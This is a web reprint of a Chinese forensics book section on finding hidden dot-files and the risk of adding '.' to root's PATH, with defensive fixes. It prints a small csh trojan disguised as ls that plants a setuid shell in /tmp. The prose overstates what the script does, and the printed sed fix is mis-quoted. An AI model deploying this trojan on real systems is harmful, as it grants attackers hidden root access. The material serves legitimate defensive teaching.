|
|
|
|
移动端

2.2.9 收集隐藏目录和文件

《UNIX/Linux网络日志分析与流量监控》第2章UNIX/Linux 系统取证,本章介绍了大量UNIX 平台下计算机取证的方法,用实例展示了硬盘数据收集和恢复技巧,并用两个案例展示了如何灵活运用各种工具来处理网络故障。本节为大家介绍收集隐藏目录和文件。

作者:李晨光来源:机械工业出版社|2014-11-26 20:12

有奖调研 | 1TB硬盘等你拿 AI+区块链的发展趋势及应用调研


2.2.9 收集隐藏目录和文件

一些攻击者会将脚本文件(木马)放在隐藏目录中,因此,应特别注意所有以.开始的目录。这些“.”的排列有时候有细微的差别,都可能说明在其中有隐藏的目录和文件。

当用户执行一条命令时,shell(用户和Linux 内核之间的接口程序)会在路径环境变量包含的目录列表中搜索命令所在位置,对于普通用户和root 用户,$PATH 里默认不包含"."来指定用户的当前目录。这对在本机进行脚本开发的程序员来说很不方便,想图省事的人就把点加到了搜索路径中,这就相当于在系统中埋下了一枚“定时炸弹”。

例如:root 用户为了方便使用,在他的当前路径末尾加了个点"."(代表当前目录),命令操作如下:

  1. [root@rh root]# PATH=$PATH:.  
  2. [root@rh root]# echo $PATH  
  3. /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:. 

这下方便了,直接输入脚本名就能执行。正常情况下一点问题没有,也省去了输入./foo.sh 的烦恼(foo.sh 是假设的脚本文件名)。有的root 用户甚至把PATH=$PATH:.这条命令加到了.bash_profile 里,使所有用户都能“分享”“福音”。但直到有一天,系统受到攻击,用户毫无察觉,攻击者悄悄地在他的主目录下放了名为lls 的脚本。root 用户如果想用管理员身份列出目录,并错误输入成了“lls”,结果正好“中招”。

再看个复杂点的C shell 的例子(sample.sh):

  1. #!/bin/csh  
  2. If ( ! -o /bin/su )  
  3. goto finish  
  4. cp /bin/sh /tmp/.sh  
  5. chmod 7777 /tmp/.sh  
  6. finish :  
  7. exec /bin/ls $argv | grep -v ls 

如果root 在其环境变量$PATH 包含了“.”并且其位置先于ls 所在的系统目录,那么当用户在/tmp 中执行ls 时,执行的是上面给出的脚本,而不是实际的ls 命令。因为最终还是执行了ls,所以root 不会看出有任何异常。如果root 执行了该脚本,就会将口令文件设置为可写,并将shell 复制到/tmp 并保存为.sh,同时设置其setuserid 位,所有这一切都非常安静地发生。接下来说说解决方法。

首先,要养成输入绝对路径的良好习惯,这样就不会让攻击者趁虚而入了。比如,列目录最好用/bin/ls 来列目录,不要图方便而输入ls。

其次,根用户(root)不要把“.”包括到搜索目录列表里,而普通用户如果把“.”包括到搜索列表中,则“.”应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。

最后,可以在登录时在/etc/profile 和bashrc .profile 文件的末尾添加如下一行:

  1. PATH='echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' ' 

这个简单的sed 命令将删除路径里所有的“.”,包括其另一形式“::”。当然,还可以由crontab 调用定期执行:

  1. #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist'  
  2. root@localhost < point.txt 

这条命令先搜索所有以点开头的文件,然后将其发送到root 的邮箱里,最后进行比较。

喜欢的朋友可以添加我们的微信账号:

51CTO读书频道二维码


51CTO读书频道活动讨论群:342347198

【责任编辑:book TEL:(010)68476606】

回书目   上一节   下一节
点赞 0
分享:
大家都在看
猜你喜欢

读 书 +更多

循序渐进Oracle——数据库管理、优化与备份恢复

本书从基础知识入手,详细讨论了Oracle数据库的创建、OEM及iSQL*Plus等工具的使用、Oracle的字符集知识、用户的创建与管理、表空间和数据文...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊